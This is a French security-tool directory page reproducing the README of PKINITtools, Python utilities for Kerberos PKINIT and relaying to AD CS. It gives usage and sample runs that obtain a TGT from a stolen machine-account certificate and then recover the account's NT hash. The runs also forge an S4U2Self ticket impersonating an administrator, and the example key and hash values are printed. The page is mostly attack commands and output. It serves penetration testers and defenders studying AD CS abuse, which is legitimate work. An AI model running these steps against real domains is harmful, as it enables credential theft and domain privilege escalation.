Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PKINITtools — Outils pour Kerberos PKINIT et relais vers AD CS | Kitploit
Outils/GitHubGitHub/dirkjanm/pkinittools
ExploitationTests d'IntrusionAuthentification
GitHubdirkjanm/pkinittools

PKINITtools

Outils pour Kerberos PKINIT et relais vers AD CS

Voir le dépôt
922107il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Outils PKINIT

Ce dépôt contient quelques utilitaires pour travailler avec PKINIT et les certificats.
Les outils sont basés sur minikerberos et impacket. Article de blog accompagnant avec plus de contexte : https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

Installation

Ces outils ne sont compatibles qu'avec Python 3.5+. Clonez le dépôt depuis GitHub, installez les dépendances et vous devriez être prêt :

root@kitploit:~
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

L'utilisation d'un virtualenv est recommandée.

Outils

gettgtpkinit.py

Demande un TGT en utilisant un fichier PFX, soit sous forme de fichier, soit sous forme de blob encodé en base64, ou des fichiers PEM pour cert+key. Cela utilise Kerberos PKINIT et produira un TGT dans le ccache spécifié. Il affichera également la clé de chiffrement AS-REP dont vous pourriez avoir besoin pour l'outil getnthash.py. Exemple d'utilisation :

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Demande un TGT en utilisant Kerberos PKINIT et un certificat+clé basé sur PEM ou PFX

arguments positionnels :
  domain/username     Domaine et nom d'utilisateur dans le certificat
  ccache              Fichier ccache pour stocker le TGT

arguments optionnels :
  -h, --help          Affiche ce message d'aide et quitte
  -cert-pfx file      Fichier PFX
  -pfx-pass password  Mot de passe du fichier PFX
  -pfx-base64 BASE64  Fichier PFX sous forme de chaîne base64
  -cert-pem file      Certificat au format PEM
  -key-pem file       Fichier de clé privée au format PEM
  -dc-ip DC_IP        Adresse IP ou nom d'hôte du DC à utiliser comme KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Chargement du certificat et de la clé depuis le fichier
2021-07-27 21:25:24,316 minikerberos INFO     Demande du TGT
2021-07-27 21:25:24,333 minikerberos INFO     Clé de chiffrement AS-REP (vous pourriez en avoir besoin plus tard) :
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     TGT sauvegardé dans le fichier

getnthash.py

Utilise Kerberos U2U pour soumettre une demande TGS pour vous-même. Cela inclura le PAC qui à son tour contient le NT hash que vous pouvez déchiffrer avec la clé AS-REP qui a été utilisée pour votre TGT spécifique. C'est magique en fait. Cet outil nécessite qu'un TGT résultant de PKINIT soit dans votre variable d'environnement KRB5CCNAME. Utilisation :

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

arguments positionnels :
  identity           Domaine/nom d'utilisateur

arguments optionnels :
  -h, --help         Affiche ce message d'aide et quitte
  -key KEY           Clé AS-REP provenant de gettgtpkinit.py
  -dc-ip ip address  Adresse IP du contrôleur de domaine. Si omise, utilise la partie domaine (FQDN) spécifiée dans le paramètre cible
  -debug             Active la sortie DEBUG

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Utilisation du TGT depuis le cache
[*] Demande d'un ticket pour soi-même avec PAC
Hash NT récupéré
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

Utilise Kerberos S4U2Self pour demander un ticket de service valide sur l'hôte pour lequel vous avez obtenu un certificat. Ce ticket peut ensuite être utilisé pour interagir avec l'hôte d'origine. Cela nécessite uniquement un TGT pour le compte machine de cet hôte. Ce TGT doit se trouver dans un fichier ccache que vous spécifiez dans le kerberos_connection_url. Le seul kerberos_connection_url accepté pour cet exemple est celui contenant un fichier ccache, par exemple kerberos+ccache://domain.local\\victimhostname\$:[email protected]. Le SPN doit être un nom de service sur l'hôte que vous usurpez, vous ne pouvez pas l'utiliser pour des attaques de délégation (car il n'implémente pas S4U2Proxy, il existe déjà de nombreux outils pour cela). Utilisation :

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Obtient un ticket S4U2self en usurpant l'utilisateur donné

arguments positionnels :
  kerberos_connection_url
                        la chaîne cible kerberos au format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   le principal de service au format <service>/<server-hostname>@<domain> Exemple : cifs/[email protected] pour un
                        ticket TGS à utiliser pour l'accès aux fichiers sur le serveur "fileserver". IMPORTANT : LE NOM D'HÔTE DU SERVEUR DOIT ÊTRE UTILISÉ, PAS L'IP !!!
  targetuser
  ccache                Fichier ccache pour stocker le ticket TGT

arguments optionnels :
  -h, --help            Affiche ce message d'aide et quitte
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Tentative d'obtention du SPN avec [email protected] pour cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Succès !
2021-07-28 10:09:13,696 minikerberos INFO     Terminé !

Licence

MIT

Crédits

  • SkelSec pour minikerberos
  • Alberto Solino et l'équipe de SecureAuthCorp pour impacket
  • Mor Rubin pour leur première implémentation de PKINIT en python dans le cadre de AzureADJoinedMachinePTC
  • Benjamin Delpy pour avoir implémenté ces fonctionnalités dans kekeo
Télécharger l’outil